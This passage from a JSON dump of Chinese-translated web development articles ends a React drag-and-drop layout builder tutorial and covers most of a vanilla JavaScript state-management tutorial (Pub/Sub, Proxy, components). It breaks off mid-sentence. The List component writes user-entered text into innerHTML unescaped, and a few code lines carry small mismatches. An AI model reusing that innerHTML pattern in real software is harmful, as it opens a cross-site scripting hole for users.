树，意味着需要很多令人愉快的递归来支持嵌套结构！\n\n![](https://cdn-images-1.medium.com/max/2000/1*6v0VjyiKNaLp0ounI3pNbA.jpeg)\n\n我们的状态需要存储大量组件，可以通过以下接口表示：\n\n**如果你不熟悉 JavaScript 中的接口，你应该看看 [TypeScript](https://www.typescriptlang.org/) — 你大概能看出我是它的粉丝。它很适用于 React。** \n\n```ts\nexport interface IComponent {\n  name: string;\n  type: string;\n  renderProps?: {\n    size?: 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12\n  };\n  children?: IComponent[];\n}\n```\n\n我会使组件的定义最小化，但是你可以根据需要拓展它。我在 `renderProps` 这里定义一个对象，所以我们可以为组件提供状态来告诉它如何渲染，`children` 的属性为我们提供了递归。\n\n对于更高层次，我会创建一个对象数组来保存组件，它们将出现在状态的根部。\n\n为了说明这一点，我们建议将以下内容作为 HTML 中标记的有效布局：\n\n```html\n<div class=\"content-panel-1\">\n  <div class=\"component\">\n    Component 1\n  </div>\n  <div class=\"component\">\n    Component 2\n  </div>\n</div>\n<div class=\"content-panel-2\">\n  <div class=\"component\">\n    Component 3\n  </div>\n</div>\n```\n\n为了在状态中表示这一点，我们可以为内容面板定义如下所示的接口：\n\n```ts\nexport interface IContent {\n  id: string;\n  cssClass: string;\n  components: IComponent[];\n}\n```\n\n然后我们的状态将会成为一个像如下 `IContent` 数组：\n\n```ts\nconst state: IContent[] = [\n  {\n    id: 'content-panel-1',\n    cssClass: 'content-panel-1',\n    components: [{\n      type: 'component1',\n      renderProps: {},\n      children: []\n    },\n    {\n      type: 'component2',\n      renderProps: {},\n      children: []\n    }]\n  },\n  {\n    id: 'content-panel-2',\n    cssClass: 'content-panel-2',\n    components: [{\n      type: 'component3',\n      renderProps: {},\n      children: []\n    }]\n  }\n];\n```\n\n通过在 `children` 数组属性中推送其他组件，我们可以定义其他组件来创建嵌套的类似 DOM 的树结构：\n\n```\n[0]\n  components:\n    [0]\n      children:\n        [0]\n          children:\n            [0]\n               ...\n```\n\n![](https://cdn-images-1.medium.com/max/2000/1*S6XF_dPgkDax70QjkXLNVQ.jpeg)\n\n## 2. 拖放布局构建器\n\n布局构建器组件将执行一系列功能，例如：\n\n* 保持并更新组件状态\n* 渲染 **可拖动组件** 和 **可放置组件**\n* 渲染嵌套布局结构\n* 触发 DnD HTML5 事件\n\n代码大概是这样的：\n\n```ts\nexport class BuilderLayout extends React.Component {\n\n  public state: IBuilderState = {\n    dashboardState: []\n  };\n\n  constructor(props: {}) {\n    super(props);\n\n    this.onDragStart = this.onDragStart.bind(this);\n    this.onDragDrop = this.onDragDrop.bind(this);\n  }\n\n  public render() {\n\n  }\n\n  private onDragStart(event: React.DragEvent <HTMLDivElement>, name: string, type: string): void {\n    event.dataTransfer.setData('id', name);\n    event.dataTransfer.setData('type', type);\n  }\n\n  private onDragOver(event: React.DragEvent<HTMLDivElement>): void {\n    event.preventDefault();\n  }\n\n  private onDragDrop(event: React.DragEvent <HTMLDivElement>, containerId: string): void {\n\n  }\n\n\n}\n```\n\n我们先暂时不用管 `render()` 函数，后面很快会再见到它。\n\n我们有三个事件，我们将绑定它们到我们的『可拖动组件』和『可放置组件』上。\n\n`onDragStart()` ——这个事件这里我们设置一些关于 `event` 对象中组件的细节，即 `name` 和 `type`。\n\n`onDragOver()` ——我们现在不会对这个事件做任何事情，事实上我们通过 `.preventDefault()` 函数禁用浏览器的默认行为。\n\n这就留下了 `onDragDrop()` 事件，这就是修改不可变状态的神奇之处。为了改变状态，我们需要几条信息：\n\n* 要放置组件的名称 —— `name` 在 `event` 对象中设置 `onDragStart()`。\n* 要放置组件的类型 —— `type` 在 `event` 对象中设置 `onDragStart()`。\n* 组件被放置的位置 —— `containerId` 从可放置的组件中传入这个方法。\n\n在 `containerId` 中必须告诉我们，新的组件具体要放在状态里的什么位置。可能有一种更简洁的方法可以做到这一点，但为了描述这个位置，我将使用一个下划线分隔的索引列表。\n\n回顾我们的状态模型：\n\n```\n[index]\n  components:\n    [index]\n      children:\n        [index]\n          children:\n            [index]\n               ...\n```\n\n用字符串格式表示为 `cb_index_index_index_index`。\n\n此处的索引数描述了应该删除组件的嵌套结构中的深度级别。\n\n现在我们需要调用 [**immutableJS**](https://github.com/immutable-js/immutable-js) 中的强大功能来帮助我们改变应用程序的状态。我们将在 `onDragDrop()` 方法中执行此操作，改方法可能如下所示：\n\n```ts\nprivate onDragDrop(event: React.DragEvent <HTMLDivElement>, containerId: string) {\n  const name = event.dataTransfer.getData('id');\n  const type = event.dataTransfer.getData('type');\n\n  const newComponent: IComponent =  this.generateComponent(name, type);\n\n  const containerArray: string[] = containerId.split('_');\n  containerArray.shift(); // 忽略第一个参数，它是字符串前缀\n\n  const componentsPath: Array<number | string> = []   containerArray.forEach((id: string, index: number) => {\n  componentsPath.push(parseInt(id, INT_LENGTH));\n  componentsPath.push(index === 0 ? 'components' : 'children');\n});\n\n  const { dashboardState } = this.state;\n  let componentState = fromJS(dashboardState);\n\n  componentState = componentState.setIn(componentsPath,       componentState.getIn(componentsPath).push(newComponent));\n\n  this.setState({ dashboardState: componentState.toJS() });\n\n}\n```\n\n这里的功能来自于 ImmutableJS 提供给我们的 `.setIn()` 和 `.getIn()` 方法。\n\n它们采用一组字符串/值以确定要在嵌套状态模型中获取或设置值的位置。这与我们生成可放置的 ids 方式很吻合。很酷吧？\n\n`fromJS()` 和 `toJS()` 方法转变 JSON 对象到 ImmutableJS 对象，然后再返回。\n\n**关于 ImmutableJS 有很多东西，我可能会在未来写一篇关于它的专门的帖子。很抱歉，这次只是一次简单的介绍！**\n\n## 3. 渲染网格内的嵌套组件\n\n最后让我们快速看一下前面提到的渲染方法。我想支持一个 CSS 网格系统类似于 [Material responsive grid](https://material.io/design/layout/responsive-layout-grid.html#breakpoints) 来使我们的布局更加灵活。它使用 12 列网格来规定 HTML 布局，如下所示：\n\n```html\n<div class=\"mdc-layout-grid\">\n  <div class=\"mdc-layout-grid__inner\">\n    <div class=\"mdc-layout-grid__cell mdc-layout-grid__cell--span-6\">\n      Left column\n    </div>\n    <div class=\"mdc-layout-grid__cell mdc-layout-grid__cell--span-6\">\n      Right column\n    </div>\n  </div>\n</div>\n```\n\n将它与我们的状态所代表的嵌套结构相组合，我们可以得到一个非常强大的布局构建器。\n\n现在，我只是将网格的大小固定为两列布局（即单个可放置组件中的两列具有的递归）。\n\n为了实现这一点，我们有一个可拖动组件的网格，它将包含两个可放置的（每列一个）。\n\n**这是我之前创建的一个：**\n\n![](https://cdn-images-1.medium.com/max/5756/1*k92aZrAjmFEeH_TqJYdXxQ.png)\n\n上面我有一个**Grid**，第一列中有一个**Card**，第二列中有一个**Heading**。\n\n![](https://cdn-images-1.medium.com/max/5760/1*yeocyMzF3J2iIEHGFRISiw.png)\n\n现在我在第一列中放置了另一个**Grid**，第一列中有一个**Heading**，第二列中有一个**Card**。\n\n**你明白了吗？**\n\n**举个例子来说明如何使用 React 伪代码实现这个目的：**\n\n 1. 循环遍历内容项（我们状态的根）并且渲染一个 `ContentBuilderDraggableComponent` 和一个 `DroppableComponent`。\n\n 2. 确定组件是否为 Grid 类型，然后渲染 `ContentBuilderGridComponent`，否则渲染一个常规的 `DraggableComponent`。\n\n 3. 渲染被 X 个子项目标记的 Grid 组件，每个子项目中都有一个 `ContentBuilderDraggableComponent` 和一个 `DroppableComponent`。\n\n```ts\nclass ContentBuilderComponent... {\n  render() {\n    return (\n      <ContentComponent>\n        components.map(...) {\n          <ContentBuilderDraggableComponent... />\n        }\n        <DroppableComponent... />\n      </ContentComponent>\n    )\n  }\n}\n\nclass ContentBuilderDraggableComponent... {\n  render() {\n    if (type === GRID) {\n      return <ContentBuilderGridComponent... />\n    } else {\n      return <DraggableComponent ... />\n    }\n  }\n}\n\nclass ContentBuilderGridComponent... {\n  render() {\n    <GridComponent...>\n      children.map(...) {\n        <GridItemComponent...>\n          gridItemChildren.map(...) {\n            <ContentBuilderDraggableComponent... />\n            <DroppableComponent... />\n          }\n        </GridItemComponent>\n      }\n    </GridComponent>\n  }\n}\n```\n\n## 下一步是什么？\n\n我们已经完成了这篇文章，但我将来会对此进行一些拓展。这是一些想法：\n\n* 配置组件的渲染道具\n* 使网格组件可配置\n* 使用服务端呈现从已保存的状态对象生成 HTML 布局\n\n**希望你能 follow 我，如果你没有，这是我在 GitHub 上的一个工作示例，希望你能欣赏它。**\n\n- [**chriskitson/react 拖放布局构建器**：使用 React 和 ImmutableJS 拖放（DnD）UI 布局构建器](https://github.com/chriskitson/react-drag-drop-layout-builder)\n\n> 感谢您抽出宝贵时间阅读我的文章。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-a-state-management-system-with-vanilla-javascript.md",
    "content": "> * 原文地址：[Build a state management system with vanilla JavaScript](https://css-tricks.com/build-a-state-management-system-with-vanilla-javascript/)\n> * 原文作者：[ANDY BELL](https://css-tricks.com/author/andybell/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-state-management-system-with-vanilla-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-state-management-system-with-vanilla-javascript.md)\n> * 译者：[Shery](https://github.com/shery)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia) [coconilu](https://github.com/coconilu)\n\n# 使用原生 JavaScript 构建状态管理系统\n\n状态管理在软件方面并不新鲜，但在 JavaScript 构建的应用中仍然相对较新。习惯上，我们会直接将状态保持在 DOM 上，甚至将其分配给 window 中的全局对象。但是现在，我们已经有了许多选择，这些库和框架可以帮助我们管理状态。像 Redux，MobX 和 Vuex 这样的库可以轻松管理跨组件状态。它大大提升了应用程序的扩展性，并且它对于状态优先的响应式框架（如 React 或 Vue）非常有用。\n\n这些库是如何运作的？我们自己写个状态管理会怎么样？事实证明，它非常简单，并且有机会学习一些非常常见的设计模式，同时了解一些既有用又能用的现代 API。\n\n在我们开始之前，请确保你已掌握中级 JavaScript 的知识。你应该了解数据类型，理想情况下，你应该掌握一些更现代的 ES6+ 语法特性。如果没有，[这可以帮到你](https://css-tricks.com/learning-gutenberg-4-modern-javascript-syntax/)。值得注意的是，我并不是说你应该用这个代替 Redux 或 MobX。我们正在一起开发一个小项目来提升技能，嘿，如果你在乎的是 JavaScript 文件规模的大小，那么它确实可以应付一个小型应用。\n\n### 入门\n\n在我们深入研究代码之前，先看一下我们正在开发什么。它是一个汇总了你今天所取得成就的“完成清单”。它将在不依赖框架的情况下像魔术般更新 UI 中的各种元素。但这并不是真正的魔术。在幕后，我们已经有了一个小小的状态系统，它等待着指令，并以一种可预测的方式维护单一来源的数据。\n\n[查看演示](https://vanilla-js-state-management.hankchizljaw.io)\n\n[查看仓库](http://github.com/hankchizljaw/vanilla-js-state-management)\n\n很酷，对吗？我们先做一些配置工作。我已经整理了一些模版，以便我们可以让这个教程简洁有趣。你需要做的第一件事情是 [从 GitHub 上克隆它](https://github.com/hankchizljaw/vanilla-js-state-management-boilerplate)，或者 [下载并解压它的 ZIP 文件](https://github.com/hankchizljaw/vanilla-js-state-management-boilerplate/archive/master.zip)。\n\n当你下载好了模版，你需要在本地 Web 服务器上运行它。我喜欢使用一个名为 [http-server](https://www.npmjs.com/package/http-server) 的包来做这些事情，但你也可以使用你想用的任何东西。当你在本地运行它时，你会看到如下所示：\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2018/07/state-js-1.png)\n\n我们模版的初始状态。\n\n#### 建立项目结构\n\n用你喜欢的文本编辑器打开根目录。这次对我来说，根目录是：\n\n```\n~/Documents/Projects/vanilla-js-state-management-boilerplate/\n```\n\n你应该可以看到类似这样的结构：\n\n```\n/src\n├── .eslintrc\n├── .gitignore\n├── LICENSE\n└── README.md\n```\n\n### 发布/订阅\n\n接下来，打开 `src` 文件夹，然后进入里面的 `js` 文件夹。创建一个名为 `lib` 的新文件夹。在里面，创建一个名为 `pubsub.js` 的新文件。\n\n你的 `js` 目录结构应该是这样的：\n\n```\n/js\n├── lib\n└── pubsub.js\n```\n\n因为我们准备要创建一个小型的 [Pub/Sub 模式（发布/订阅模式）](https://msdn.microsoft.com/en-us/magazine/hh201955.aspx)，所以请打开 `pubsub.js`。我们正在创建允许应用程序的其他部分订阅具名事件的功能。然后，应用程序的另一部分可以发布这些事件，通常还会携带一些相关的载荷。\n\nPub/Sub 有时很难掌握，那举个例子呢？假设你在一家餐馆工作，你的顾客点了一个前菜和主菜。如果你曾经在厨房工作过，你会知道当侍者清理前菜时，他们让厨师知道哪张桌子的前菜已经清理了。这是该给那张桌子上主菜的提示。在一个大厨房里，有一些厨师可能在准备不同的菜肴。他们都**订阅**了侍者发出的顾客已经吃完前菜的提示，因此他们自己知道要**准备主菜**。所以，你有多个厨师订阅了同一个提示（具名事件），收到提示后做不同的事（回调）。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2018/07/state-management-restaurant.jpg)\n\n希望这样想有助于理解。让我们继续！\n\nPubSub 模式遍历所有订阅，并触发其回调，同时传入相关的载荷。这是为你的应用程序创建一个非常优雅的响应式流程的好方法，我们只需几行代码即可完成。\n\n将以下内容添加到 `pubsub.js`：\n\n```\nexport default class PubSub {\n  constructor() {\n    this.events = {};\n  }\n}\n```\n\n我们得到了一个全新的类，我们将 `this.events` 默认设置为空对象。`this.events` 对象将保存我们的具名事件。\n\n在 constructor 函数的结束括号之后，添加以下内容：\n\n```\nsubscribe(event, callback) {\n\n  let self = this;\n\n  if(!self.events.hasOwnProperty(event)) {\n    self.events[event] = [];\n  }\n\n  return self.events[event].push(callback);\n}\n```\n\n这是我们的订阅方法。你传递一个唯一的字符串 `event` 作为事件名，以及该事件的回调函数。如果我们的 `events` 集合中还没有匹配的事件，那么我们使用一个空数组创建它，这样我们不必在以后对它进行类型检查。然后，我们将回调添加到该集合中。如果它已经存在，就直接将回调添加到该集合中。我们返回事件集合的长度，这对于想要知道存在多少事件的人来说会方便些。\n\n现在我们已经有了订阅方法，猜猜看接下来我们要做什么？你知道的：`publish` 方法。在你的订阅方法之后添加以下内容：\n\n```\npublish(event, data = {}) {\n\n  let self = this;\n\n  if(!self.events.hasOwnProperty(event)) {\n    return [];\n  }\n\n  return self.events[event].map(callback => callback(data));\n}\n```\n\n该方法首先检查我们的事件集合中是否存在传入的事件。如果没有，我们返回一个空数组。没有悬念。如果有事件，我们遍历每个存储的回调并将数据传递给它。如果没有回调（这种情况不应该出现），也没事，因为我们在 `subscribe` 方法中使用空数组创建了该事件。\n\n这就是 PubSub 模式。让我们继续下一部分！\n\n### Store 对象（核心）\n\n我们现在已经有了 Pub/Sub 模块，我们这个小应用程序的核心模块 Store 类有了它的唯一依赖。现在我们开始完善它。\n\n让我们先来概述一下这是做什么的。\n\nStore 是我们的核心对象。每当你看到 `@import store from'../lib/store.js` 时，你就会引入我们要编写的对象。它将包含一个 `state` 对象，该对象又包含我们的应用程序状态，一个 `commit` 方法，它将调用我们的 **>mutations**，最后一个 `dispatch` 函数将调用我们的 **actions**。在这个应用和 `Store` 对象的核心之间，将有一个基于代理的系统，它将使用我们的 `PubSub` 模块监视和广播状态变化。\n\n首先在 `js` 目录中创建一个名为 `store` 的新目录。在那里，创建一个名为 `store.js` 的新文件。现在你的 `js` 目录应该如下所示：\n\n```\n/js\n└── lib\n    └── pubsub.js\n└──store\n    └── store.js\n```\n\n打开 `store.js` 并导入我们的 Pub/Sub 模块。为此，请在文件顶部添加以下内容：\n\n```\nimport PubSub from '../lib/pubsub.js';\n```\n\n对于那些经常使用 ES6 的人来说，这将是非常熟悉的。但是，在没有打包工具的情况下运行这种代码可能不太容易被浏览器识别。对于这种方法，已经获得了很多[浏览器支持](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import#Browser_compatibility)！\n\n接下来，让我们开始构建我们的对象。在导入文件后，直接将以下内容添加到 `store.js`：\n\n```\nexport default class Store {\n  constructor(params) {\n    let self = this;\n  }\n}\n```\n\n这一切都一目了然，所以让我们添加下一项。我们将为 `state`，`actions` 和 `mutations` 添加默认对象。我们还添加了一个 `status` 属性，我们将用它来确定对象在任意给定时间正在做什么。这是在 `let self = this;` 后面的：\n\n```\nself.actions = {};\nself.mutations = {};\nself.state = {};\nself.status = 'resting';\n```\n\n之后，我们将创建一个新的 `PubSub` 实例，它将作为 `store` 的 `events` 属性的值：\n\n```\nself.events = new PubSub();\n```\n\n接下来，我们将搜索传入的 `params` 对象以查看是否传入了任何 `actions` 或 `mutation`。当实例化 `Store` 对象时，我们可以传入一个数据对象。其中包括 `actions` 和 `mutation` 的集合，它们控制着我们 store 中的数据流。在你添加的最后一行代码后面添加以下代码：\n\n```\nif(params.hasOwnProperty('actions')) {\n  self.actions = params.actions;\n}\n\nif(params.hasOwnProperty('mutations')) {\n  self.mutations = params.mutations;\n}\n```\n\n这就是我们所有的默认设置和几乎所有潜在的参数设置。让我们来看看我们的 `Store` 对象如何跟踪所有的变化。我们将使用 [Proxy（代理）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy)来完成此操作。Proxy（代理）所做的工作主要是代理 state 对象。如果我们添加一个 `get` 拦截方法，我们可以在每次询问对象数据时进行监控。与 `set` 拦截方法类似，我们可以密切关注对象所做的更改。这是我们今天感兴趣的主要部分。在你添加的最后一行代码之后添加以下内容，我们将讨论它正在做什么：\n\n```\nself.state = new Proxy((params.state || {}), {\n  set: function(state, key, value) {\n\n    state[key] = value;\n\n    console.log(`stateChange: ${key}: ${value}`);\n\n    self.events.publish('stateChange', self.state);\n\n    if(self.status !== 'mutation') {\n      console.warn(`You should use a mutation to set ${key}`);\n    }\n\n    self.status = 'resting';\n\n    return true;\n  }\n});\n```\n\n这部分代码说的是我们正在捕获状态对象 `set` 操作。这意味着当 mutation 运行类似于 `state.name ='Foo'` 时，这个拦截器会在它被设置之前捕获它，并为我们提供了一个机会来处理更改甚至完全拒绝它。但在我们的上下文中，我们将会设置变更，然后将其记录到控制台。然后我们用 `PubSub` 模块发布一个 `stateChange` 事件。任何订阅了该事件的回调将被调用。最后，我们检查 `Store` 的状态。如果它当前不是一个 `mutation`，则可能意味着状态是手动更新的。我们在控制台中添加了一点警告，以便给开发人员一些提示。\n\n这里做了很多事，但我希望你们开始看到这一切是如何结合在一起的，重要的是，我们如何能够集中维护状态，这要归功于 Proxy（代理）和 Pub/Sub。\n\n#### Dispatch 和 commit\n\n现在我们已经添加了 `Store` 的核心部分，让我们添加两个方法。一个是将调用我们 `actions` 的 `dispatch`，另一个是将调用我们 `mutation` 的 `commit`。让我们从 `dispatch` 开始，在 `store.js` 中的 `constructor` 之后添加这个方法：\n\n```\ndispatch(actionKey, payload) {\n\n  let self = this;\n\n  if(typeof self.actions[actionKey] !== 'function') {\n    console.error(`Action \"${actionKey} doesn't exist.`);\n    return false;\n  }\n\n  console.groupCollapsed(`ACTION: ${actionKey}`);\n\n  self.status = 'action';\n\n  self.actions[actionKey](self, payload);\n\n  console.groupEnd();\n\n  return true;\n}\n```\n\n此处的过程是：查找 action，如果存在，则设置状态并调用 action，同时创建日志记录组以使我们的所有日志保持良好和整洁。记录的任何内容（如 mutation 或 Proxy（代理）日志）都将保留在我们定义的组中。如果未设置任何 action，它将记录错误并返回 false。这非常简单，而且 `commit` 方法更加直截了当。\n\n在 `dispatch` 方法之后添加：\n\n```\ncommit(mutationKey, payload) {\n    let self = this;\n\n    if(typeof self.mutations[mutationKey] !== 'function') {\n    console.log(`Mutation \"${mutationKey}\" doesn't exist`);\n    return false;\n    }\n\n    self.status = 'mutation';\n\n    let newState = self.mutations[mutationKey](self.state, payload);\n\n    self.state = Object.assign(self.state, newState);\n\n    return true;\n}\n```\n\n这种方法非常相似，但无论如何我们都要自己了解这个过程。如果可以找到 mutation，我们运行它并从其返回值获得新状态。然后我们将新状态与现有状态合并，以创建我们最新版本的 state。\n\n添加了这些方法后，我们的 `Store` 对象基本完成了。如果你愿意，你现在可以模块化这个应用程序，因为我们已经添加了我们需要的大部分功能。你还可以添加一些测试来检查所有内容是否按预期运行。我不会就这样结束这篇文章的。让我们实现我们打算去做的事情，并继续完善我们的小应用程序！\n\n### 创建基础组件\n\n为了与我们的 store 通信，我们有三个主要区域，根据存储在其中的内容进行独立更新。我们将列出已提交的项目，这些项目的可视化计数，以及另一个在视觉上隐藏着为屏幕阅读器提供更准确的信息。这些都做着不同的事情，但他们都会从共享的东西中受益，以控制他们的本地状态。我们要做一个基础组件类！\n\n首先，让我们创建一个文件。在 `lib` 目录中，继续创建一个名为 `component.js` 的文件。我的文件路径是：\n\n```\n~/Documents/Projects/vanilla-js-state-management-boilerplate/src/js/lib/component.js\n```\n\n创建该文件后，打开它并添加以下内容：\n\n```\nimport Store from '../store/store.js';\n\nexport default class Component {\n    constructor(props = {}) {\n    let self = this;\n\n    this.render = this.render || function() {};\n\n    if(props.store instanceof Store) {\n        props.store.events.subscribe('stateChange', () => self.render());\n    }\n\n    if(props.hasOwnProperty('element')) {\n        this.element = props.element;\n    }\n    }\n}\n```\n\n让我们来谈谈这段代码吧。首先，我们要导入 `Store` **类**。这不是因为我们想要它的实例，而是更多用于检查 `constructor` 中的一个属性。说到这个，在 `constructor` 中我们要看看我们是否有一个 render 方法。如果这个 `Component` 类是另一个类的父类，那么它可能会为 `render` 设置自己的方法。如果没有设置方法，我们创建一个空方法来防止事情出错。\n\n在此之后，我们像上面提到的那样对 `Store` 类进行检查。我们这样做是为了确保 `store` 属性是一个 `Store` 类实例，这样我们就可以放心地使用它的方法和属性。说到这一点，我们订阅了全局 `stateChange` 事件，所以我们的对象可以做到**响应式**。每次状态改变时都会调用 `render` 函数。\n\n这就是我们需要为该类所要写的全部内容。它将被用作其他组件类 `extend` 的父类。让我们一起来吧！\n\n### 创建我们的组件\n\n就像我之前说过的那样，我们要完成三个组件，它们都通过 `extend` 关键字，继承了基类 `Component`。让我们从最大的一个组件开始开始：项目清单！\n\n在你的 `js` 目录中，创建一个名为 `components` 的新文件夹，然后创建一个名为 `list.js` 的新文件。我的文件路径是：\n\n```\n~/Documents/Projects/vanilla-js-state-management-boilerplate/src/js/components/list.js\n```\n\n打开该文件并将这整段代码粘贴到其中：\n\n```\nimport Component from '../lib/component.js';\nimport store from '../store/index.js';\n\nexport default class List extends Component {\n\n    constructor() {\n    super({\n        store,\n        element: document.querySelector('.js-items')\n    });\n    }\n\n    render() {\n    let self = this;\n\n    if(store.state.items.length === 0) {\n        self.element.innerHTML = `<p class=\"no-items\">You've done nothing yet &#x1f622;</p>`;\n        return;\n    }\n\n    self.element.innerHTML = `\n        <ul class=\"app__items\">\n        ${store.state.items.map(item => {\n            return `\n            <li>${item}<button aria-label=\"Delete this item\">×</button></li>\n            `\n        }).join('')}\n        </ul>\n    `;\n\n    self.element.querySelectorAll('button').forEach((button, index) => {\n        button.addEventListener('click', () => {\n        store.dispatch('clearItem', { index });\n        });\n    });\n    }\n};\n```\n\n我希望有了前面教程，这段代码的含义对你来说是不言而喻的，但是无论如何我们还是要说下它。我们先将 `Store` 实例传递给我们继承的 `Component` 父类。就是我们刚刚编写的 `Component` 类。\n\n在那之后，我们声明了 render 方法，每次触发 Pub/Sub 的 `stateChange` 事件时都会调用的这个 render 方法。在这个 `render` 方法中，我们会生成一个项目列表，或者是没有项目时的通知。你还会注意到每个按钮都附有一个事件，并且它们会触发一个 action，然后由我们的 store 处理 action。这个 action 还不存在，但我们很快就会添加它。\n\n接下来，再创建两个文件。虽然是两个新组件，但它们很小 —— 所以我们只是向其中粘贴一些代码即可，然后继续完成其他部分。\n\n首先，在你的 `component` 目录中创建 `count.js`，并将以下内容粘贴进去：\n\n```\nimport Component from '../lib/component.js';\nimport store from '../store/index.js';\n\nexport default class Count extends Component {\n    constructor() {\n    super({\n        store,\n        element: document.querySelector('.js-count')\n    });\n    }\n\n    render() {\n    let suffix = store.state.items.length !== 1 ? 's' : '';\n    let emoji = store.state.items.length > 0 ? '&#x1f64c;' : '&#x1f622;';\n\n    this.element.innerHTML = `\n        <small>You've done</small>\n        ${store.state.items.length}\n        <small>thing${suffix} today ${emoji}</small>\n    `;\n    }\n}\n```\n\n看起来跟 list 组件很相似吧？这里没有任何我们尚未涉及的内容，所以让我们添加另一个文件。在相同的 `components` 目录中添加 `status.js` 文件并将以下内容粘贴进去：\n\n```\nimport Component from '../lib/component.js';\nimport store from '../store/index.js';\n\nexport default class Status extends Component {\n    constructor() {\n    super({\n        store,\n        element: document.querySelector('.js-status')\n    });\n    }\n\n    render() {\n    let self = this;\n    let suffix = store.state.items.length !== 1 ? 's' : '';\n\n    self.element.innerHTML = `${store.state.items.length} item${suffix}`;\n    }\n}\n```\n\n与之前一样，这里没有任何我们尚未涉及的内容，但是你可以看到有一个基类 `Component` 是多么方便，对吧？这是[面向对象编程](https://en.wikipedia.org/wiki/Object-oriented_programming)众多优点之一，也是本教程的大部分内容的基础。\n\n最后，让我们来检查一下 `js` 目录是否正确。这是我们目前所处位置的结构：\n\n```\n/src\n├── js\n│   ├── components\n│   │   ├── count.js\n│   │   ├── list.js\n│   │   └── status.js\n│   ├──lib\n│   │  ├──component.js\n│   │  └──pubsub.js\n└───── store\n        └──store.js\n        └──main.js\n```\n\n### 让我们把它连起来\n\n现在我们已经有了前端组件和主要的 `Store`，我们所要做的就是将它全部连接起来。\n\n我们已经让 store 系统和组件通过数据来渲染和交互。现在让我们把应用程序的两个独立部分联系起来，让整个项目一起协同工作。我们需要添加一个初始状态，一些 `actions` 和一些 `mutations`。在 `store` 目录中，添加一个名为 `state.js` 的新文件。我的文件路径是：\n\n```\n~/Documents/Projects/vanilla-js-state-management-boilerplate/src/js/store/state.js\n```\n\n打开该文件并添加以下内容：\n\n```\nexport default {\n    items: [\n    'I made this',\n    'Another thing'\n    ]\n};\n```\n\n这段代码的含义不言而喻。我们正在添加一组默认项目，以便在第一次加载时，我们的小程序将是可完全交互的。让我们继续添加一些 `actions`。在你的 `store` 目录中，创建一个名为 `actions.js` 的新文件，并将以下内容添加进去：\n\n```\nexport default {\n    addItem(context, payload) {\n    context.commit('addItem', payload);\n    },\n    clearItem(context, payload) {\n    context.commit('clearItem', payload);\n    }\n};\n```\n\n这个应用程序中的 actions 非常少。本质上，每个 action 都会将 payload（关联数据）传递给 mutation，而 mutation 又将数据提交到 store。正如我们之前所了解的那样，`context` 是 `Store` 类的实例，`payload` 是触发 action 时传入的。说到 mutations，让我们来添加一些。在同一目录中添加一个名为 `mutation.js` 的新文件。打开它并添加以下内容：\n\n```\nexport default {\n    addItem(state, payload) {\n    state.items.push(payload);\n\n    return state;\n    },\n    clearItem(state, payload) {\n    state.items.splice(payload.index, 1);\n\n    return state;\n    }\n};\n```\n\n与 actions 一样，这些 mutations 很少。在我看来，你的 mutations 应该保持简单，因为他们有一个工作：改变 store 的 state。因此，这些例子就像它们最初一样简单。任何适当的逻辑都应该发生在你的 `actions` 中。正如你在这个系统中看到的那样，我们返回新版本的 state，以便 `Store` 的 `<code>commit` 方法可以发挥其魔力并更新所有内容。有了这个，store 系统的主要模块就位。让我们通过 index 文件将它们结合到一起。\n\n在同一目录中，创建一个名为 `index.js` 的新文件。打开它并添加以下内容：\n\n```\nimport actions from './actions.js';\nimport mutations from './mutations.js';\nimport state from './state.js';\nimport Store from './store.js';\n\nexport default new Store({\n    actions,\n    mutations,\n    state\n});\n```\n\n这个文件把我们所有的 store 模块导入进来，并将它们结合在一起作为一个简洁的 `Store` 实例。任务完成！\n\n### 最后一块拼图\n\n我们需要做的最后一件事是添加本教程开头的 _waaaay_ 页面 `index.html` 中包含的 `main.js` 文件。一旦我们整理好了这些，我们就能够启动浏览器并享受我们的辛勤工作！在 `js` 目录的根目录下创建一个名为 `main.js` 的新文件。这是我的文件路径：\n\n```\n~/Documents/Projects/vanilla-js-state-management-boilerplate/src/js/main.js\n```\n\n打开它并添加以下内容：\n\n```\nimport store from './store/index.js'; \n\nimport Count from './components/count.js';\nimport List from './components/list.js';\nimport Status from './components/status.js';\n\nconst formElement = document.querySelector('.js-form');\nconst inputElement = document.querySelector('#new-item-field');\n```\n\n到目前为止，我们做的就是获取我们需要的依赖项。我们拿到了 `Store`，我们的前端组件和几个 DOM 元素。我们紧接着添加以下代码使表单可以直接交互：\n\n```\nformElement.addEventListener('submit', evt => {\n    evt.preventDefault();\n\n    let value = inputElement.value.trim();\n\n    if(value.length) {\n    store.dispatch('addItem', value);\n    inputElement.value = '';\n    inputElement.focus();\n    }\n});\n```\n\n我们在这里做的是向表单添加一个事件监听器并阻止它提交。然后我们获取文本框的值并修剪它两端的空格。我们这样做是因为我们想检查下一步是否会有任何内容传递给 store。最后，如果有内容，我们将使用该内容作为 payload（关联数据）触发我们的 